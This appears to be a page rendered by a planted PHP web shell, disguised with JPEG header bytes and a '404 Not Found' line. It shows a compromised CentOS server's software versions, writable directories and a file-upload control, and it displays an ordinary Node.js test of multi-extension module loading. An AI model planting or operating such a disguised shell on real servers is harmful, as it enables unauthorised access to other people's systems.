����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /home/real/node-v13.0.1/test/parallel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/real/node-v13.0.1/test/parallel/test-module-multi-extensions.js
'use strict';

// Refs: https://github.com/nodejs/node/issues/4778

const common = require('../common');
const assert = require('assert');
const fs = require('fs');
const path = require('path');
const Module = require('module');
const tmpdir = require('../common/tmpdir');
const file = path.join(tmpdir.path, 'test-extensions.foo.bar');
const dotfile = path.join(tmpdir.path, '.bar');
const dotfileWithExtension = path.join(tmpdir.path, '.foo.bar');

tmpdir.refresh();
fs.writeFileSync(file, 'console.log(__filename);', 'utf8');
fs.writeFileSync(dotfile, 'console.log(__filename);', 'utf8');
fs.writeFileSync(dotfileWithExtension, 'console.log(__filename);', 'utf8');

{
  require.extensions['.bar'] = common.mustNotCall();
  require.extensions['.foo.bar'] = common.mustCall();
  const modulePath = path.join(tmpdir.path, 'test-extensions');
  require(modulePath);
  require(file);
  delete require.cache[file];
  delete require.extensions['.bar'];
  delete require.extensions['.foo.bar'];
  Module._pathCache = Object.create(null);
}

{
  require.extensions['.foo.bar'] = common.mustCall();
  const modulePath = path.join(tmpdir.path, 'test-extensions');
  require(modulePath);
  assert.throws(
    () => require(`${modulePath}.foo`),
    (err) => err.message.startsWith(`Cannot find module '${modulePath}.foo'`)
  );
  require(`${modulePath}.foo.bar`);
  delete require.cache[file];
  delete require.extensions['.foo.bar'];
  Module._pathCache = Object.create(null);
}

{
  const modulePath = path.join(tmpdir.path, 'test-extensions');
  assert.throws(
    () => require(modulePath),
    (err) => err.message.startsWith(`Cannot find module '${modulePath}'`)
  );
  delete require.cache[file];
  Module._pathCache = Object.create(null);
}

{
  require.extensions['.bar'] = common.mustNotCall();
  require.extensions['.foo.bar'] = common.mustCall();
  const modulePath = path.join(tmpdir.path, 'test-extensions.foo');
  require(modulePath);
  delete require.cache[file];
  delete require.extensions['.bar'];
  delete require.extensions['.foo.bar'];
  Module._pathCache = Object.create(null);
}

{
  require.extensions['.foo.bar'] = common.mustNotCall();
  const modulePath = path.join(tmpdir.path, 'test-extensions.foo');
  assert.throws(
    () => require(modulePath),
    (err) => err.message.startsWith(`Cannot find module '${modulePath}'`)
  );
  delete require.extensions['.foo.bar'];
  Module._pathCache = Object.create(null);
}

{
  require.extensions['.bar'] = common.mustNotCall();
  require(dotfile);
  delete require.cache[dotfile];
  delete require.extensions['.bar'];
  Module._pathCache = Object.create(null);
}

{
  require.extensions['.bar'] = common.mustCall();
  require.extensions['.foo.bar'] = common.mustNotCall();
  require(dotfileWithExtension);
  delete require.cache[dotfileWithExtension];
  delete require.extensions['.bar'];
  delete require.extensions['.foo.bar'];
  Module._pathCache = Object.create(null);
}

ZeroDay Forums Mini